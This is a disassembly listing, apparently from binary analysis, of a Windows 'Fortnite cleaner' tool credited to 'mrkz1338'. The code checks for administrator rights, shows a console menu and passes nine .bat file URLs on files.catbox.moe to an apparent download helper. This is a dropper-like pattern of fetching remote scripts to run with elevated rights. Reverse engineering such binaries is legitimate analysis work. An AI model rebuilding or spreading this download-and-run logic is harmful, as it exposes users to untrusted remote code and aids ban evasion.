Function at 0x140001a90
Capabilities:
Execute command
Get token membership
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
nop word [rax + rax]
lea rcx, str.mrkz_free_fn_cleaner_ududud
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xf1
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov dword [rbp + 0x17], edi
mov qword [rbp + 7], rdi
mov dword [rbp + 0xf], 0
mov word [rbp + 0x13], 0x500
lea rax, [rbp + 7]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp + 0xf]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001b8f
lea r8, [rbp + 0x17]
mov rdx, qword [rbp + 7]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140001b85
mov dword [rbp + 0x17], edi
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x17], 0
je 0x140002290
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001bd3
mov dword [rbp + 0x1b], edi
lea rdx, [rbp + 0x1b]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
test eax, eax
je 0x140001bd3
mov edx, dword [rbp + 0x1b]
or edx, 4
mov dword [rbp + 0x1b], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
mov qword [rbp + 0x37], rdi
mov qword [rbp + 0x3f], 0xf
mov byte [rbp + 0x27], 0
lea rdx, str.e_35m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov ecx, 0x20
call fcn.140002d90
mov qword [rbp - 0x19], rax
mov qword [rbp - 9], 0x12
mov qword [rbp - 1], 0x1f
movups xmm0, xmmword [str._n________cleaner__n]
movups xmmword [rax], xmm0
movzx ecx, word [0x1400046f8]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
lea rcx, [rbp - 0x19]
call fcn.1400018b0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140001c80
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000218f
call fcn.140002dcc
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.e_37m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str._n________Select_Option__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.e_36m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov ecx, 0x20
call fcn.140002d90
mov qword [rbp - 0x19], rax
mov qword [rbp - 9], 0x19
mov qword [rbp - 1], 0x1f
movups xmm0, xmmword [str._n__1_____Clean_Fortnite__n]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140004748]
movsd qword [rax + 0x10], xmm0
movzx ecx, byte [0x140004750]
mov byte [rax + 0x18], cl
mov byte [rax + 0x19], 0
lea rcx, [rbp - 0x19]
call fcn.1400018b0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140001d6e
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000218f
call fcn.140002dcc
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov ecx, 0x20
call fcn.140002d90
mov qword [rbp - 0x19], rax
mov qword [rbp - 9], 0x16
mov qword [rbp - 1], 0x1f
movups xmm0, xmmword [str._n__3_____Information__n]
movups xmmword [rax], xmm0
mov ecx, dword [0x140004770]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x140004774]
mov word [rax + 0x14], cx
mov byte [rax + 0x16], 0
lea rcx, [rbp - 0x19]
call fcn.1400018b0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140001e20
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000218f
call fcn.140002dcc
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov ecx, 0x20
call fcn.140002d90
mov qword [rbp - 0x19], rax
mov qword [rbp - 9], 0x1d
mov qword [rbp - 1], 0x1f
movups xmm0, xmmword [str._n________Enter_your_choice__]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140004788]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x140004790]
mov dword [rax + 0x18], ecx
movzx ecx, byte [0x140004794]
mov byte [rax + 0x1c], cl
mov byte [rax + 0x1d], 0
lea rcx, [rbp - 0x19]
call fcn.1400018b0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140001ede
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ed9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000218f
call fcn.140002dcc
lea rdx, [rbp + 0x1f]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x1f]
sub ecx, 1
je 0x1400021ae
cmp ecx, 2
jne 0x140002196
lea rcx, [0x1400047b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._n_____You_selected_Option_2._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.e_36m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov ecx, 0x20
call fcn.140002d90
mov qword [rbp - 0x19], rax
mov qword [rbp - 9], 0x1c
mov qword [rbp - 1], 0x1f
movups xmm0, xmmword [str._n_______Made_by_mrkz1338___n]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400047f0]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400047f8]
mov dword [rax + 0x18], ecx
mov byte [rax + 0x1c], 0
lea rcx, [rbp - 0x19]
call fcn.1400018b0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140001fc5
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000218f
call fcn.140002dcc
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov ecx, 0x40
call fcn.140002d90
mov qword [rbp - 0x19], rax
mov qword [rbp - 9], 0x32
mov qword [rbp - 1], 0x3f
movups xmm0, xmmword [str._n_______Discord____https:__discord.gg_4jUxkSa2Pc_n]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140004818]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140004828]
movups xmmword [rax + 0x20], xmm0
movzx ecx, word [0x140004838]
mov word [rax + 0x30], cx
mov byte [rax + 0x32], 0
lea rcx, [rbp - 0x19]
call fcn.1400018b0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140002084
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000207f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000218f
call fcn.140002dcc
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov ecx, 0x40
call fcn.140002d90
mov qword [rbp - 0x19], rax
mov qword [rbp - 9], 0x30
mov qword [rbp - 1], 0x3f
movups xmm0, xmmword [str._n________Press_any_key_to_return_to_main_menu.__n]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140004850]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140004860]
movups xmmword [rax + 0x20], xmm0
mov byte [rax + 0x30], 0
lea rcx, [rbp - 0x19]
call fcn.1400018b0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140002134
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000212f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000218f
call fcn.140002dcc
lea rdx, str.e_0m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
mov edx, 1
mov r8d, 0xffffffff
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
lea rcx, [0x1400047b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov qword [rbp + 0x37], rdi
mov qword [rbp + 0x3f], 0xf
mov byte [rbp + 0x27], 0
jmp 0x140001ac0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Invalid_choice._Please_select_an_option_between_1_and_3._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
jmp 0x14000226d
lea rdx, str.You_selected_Clean_Fortnite._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002490
lea rdx, str.n2gnyp.bat
lea rcx, str.https:__files.catbox.moe_n2gnyp.bat
call fcn.1400012a0
lea rdx, str.c7ecn0.bat
lea rcx, str.https:__files.catbox.moe_c7ecn0.bat
call fcn.1400012a0
lea rdx, str.niandj.bat
lea rcx, str.https:__files.catbox.moe_niandj.bat
call fcn.1400012a0
lea rdx, str.22y9g2.bat
lea rcx, str.https:__files.catbox.moe_22y9g2.bat
call fcn.1400012a0
lea rdx, str.mjp3cu.bat
lea rcx, str.https:__files.catbox.moe_mjp3cu.bat
call fcn.1400012a0
lea rdx, str.yn5kxc.bat
lea rcx, str.https:__files.catbox.moe_yn5kxc.bat
call fcn.1400012a0
lea rdx, str.lezjf0.bat
lea rcx, str.https:__files.catbox.moe_lezjf0.bat
call fcn.1400012a0
lea rdx, str.rej2tq.bat
lea rcx, str.https:__files.catbox.moe_rej2tq.bat
call fcn.1400012a0
lea rdx, str.k169rm.bat
lea rcx, str.https:__files.catbox.moe_k169rm.bat
call fcn.1400012a0
nop
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140002d70
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3